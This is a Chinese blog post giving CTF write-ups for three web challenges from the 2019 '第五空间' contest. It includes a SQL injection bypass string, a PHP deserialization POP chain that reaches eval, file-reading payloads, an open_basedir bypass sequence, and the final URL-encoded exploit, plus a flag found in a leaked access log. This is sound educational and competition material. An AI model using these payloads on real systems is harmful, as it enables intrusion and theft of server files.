2019 第五空间

  1. 空相
  2. 八苦
  3. 六尘

空相

一道签到题,提示参数是id 尝试?id=1为禁止进入2为text

?id=1’ or 1=1 绕过

给出flag的php文件,提交token得到flag

八苦

(三道web题中唯一正常一点的)

(环境关了,早上做出来的题,记不太清了,记错了也,,2333333)

进入靶机,发现只有一个welcome,啥也没有。各种备份泄露试一波,最后发现是phps

然后得到源码(user类当时觉得没用就删了)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
rror_reporting(0);
class Test{
protected $careful;
public $securuty = array('say_hello'=>'1');
public function __wakeup(){
if($this->careful===1){
phpinfo(); // step 1: read source,get phpinfo and read it carefullt
}
}
public function __get($name){
return $this->securuty[$name];
}
public function __call($param1,$param2){
if($this->{$param1}){
eval('$a='.$_GET['dangerous'].';');
}
}
}

然后根据提示,先去看phpinfo

构造序列化

![](https://i.loli.net/2020/04/30/L8aHUJR5WuMCbdr.png)

O:4:”Test”:2:{s:10:” * careful”;i:1;s:8:”securuty”;a:1:{s:9:”say_hello”;s:1:”1”;}}

因为protected的关系,好像中间有截断,所以urlencode,

然后传给foo,得到phpinfo

ctrl f 搜索.php 得到一个 preload.php(具体啥名字忘记了)

然后得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
class Welcome{
public function say_hello(){
echo "welcome<br>";
}
}
class Welcome_again{
public $willing ;
public $action ;
public function __construct(){
$this->action=new Welcome;
}
public function __destruct(){
if($this->willing){
$this->action->say_hello();
}
}
}

类似于强网杯upload

姿势:

生成Welcome_again 类,

willing 赋值 1,action 赋值 new Test(),Test 中 赋值securuty 以键值对 ‘say_hello’=> 1

利用链:

首先生成Welcome_again 类,调用__construct()方法赋值action

然后调用__destruct()方法,(此时$this->willing=1)

因为action = new Test()

所以调用 Test.say_hello()

但是Test没有该方法,所以调用__call()方法

然后 if($this->{$param1})

又没有改属性,所以调用__get()方法

返回1(我们之前构造的键值对中的值)

然后通过判断,

1
eval('$a='.$_GET['dangerous'].';');

这里利用 ; 截断,

使得eval执行不止一个函数

然后翻出之前收藏的读文件一把梭,

1
2
3
1;$fp = fopen("./index.php","r");$str = fread($fp,filesize("./index.php"));echo $str = str_replace("\r\n","<br />",$str);

1;echo readfile("./index.php");

(忘记当时用的哪个了)

发现成功

然后去读flag

发现失败,

要bypass open_basedir

参考wp

https://blog.csdn.net/systemino/article/details/94645518中的

尝试构造:

1
2
3
4
5
6
7
8
9
10
chdir('/tmp');
mkdir('sky');
chdir('sky');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
echo(file_get_contents('/var/www/flag.php'));

得到flag

最终payload:

1
2
foo=O%3A13%3A%22Welcome_again%22%3A2%3A%7Bs%3A7%3A%22willing%22%3Bi%3A1%3Bs%3A6%3A%22action%22%3BO%3A4%3A%22Test%22%3A2%3A%7Bs%3A10%3A%22%00%2A%00careful%22%3Bi%3A0%3Bs%3A8%3A%22securuty%22%3Ba%3A1%3A%7Bs%3A9%3A%22say_hello%22%3Bs%3A1%3A%221%22%3B%7D%7D%7D
&dangerous=1;chdir('/tmp');mkdir('sky');chdir('sky');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('/var/www/flag.php'));

六尘

非预期解

wwwscan扫描到存在log,

访问http://111.33.164.6:10005/log/access.log

搜索flag发现
wwwscan

似乎是别的解出题目的队伍去拿flag时留下来的流量?(白嫖一手)

进去加上token即可得到flag


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 643713081@qq.com

文章标题:2019 第五空间

文章字数:728

本文作者:Van1sh

发布时间:2019-08-29, 12:18:35

最后更新:2020-05-24, 18:32:58

原始链接:http://jayxv.github.io/2019/08/29/2019第五空间/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录
×

喜欢就点赞,疼爱就打赏